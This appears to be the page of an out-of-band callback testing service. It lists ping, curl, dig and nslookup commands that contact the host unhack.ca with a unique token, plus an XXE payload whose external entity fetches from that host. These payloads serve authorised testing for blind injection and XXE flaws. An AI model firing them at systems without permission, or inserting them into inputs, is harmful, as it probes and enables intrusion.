$ ping -c1 -p 008342905420cac8dd530da780c45600 unhack.ca
 
$ curl http://unhack.ca/p/8342905420cac8dd530da780c456
 
$ dig 8342905420cac8dd530da780c456 @unhack.ca
 
$ dig 8342905420cac8dd530da780c456.ns.unhack.ca
 
C:\> nslookup 8342905420cac8dd530da780c456 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8342905420cac8dd530da780c456">]>
    <foo>&xxe;</foo>
Waiting for ping...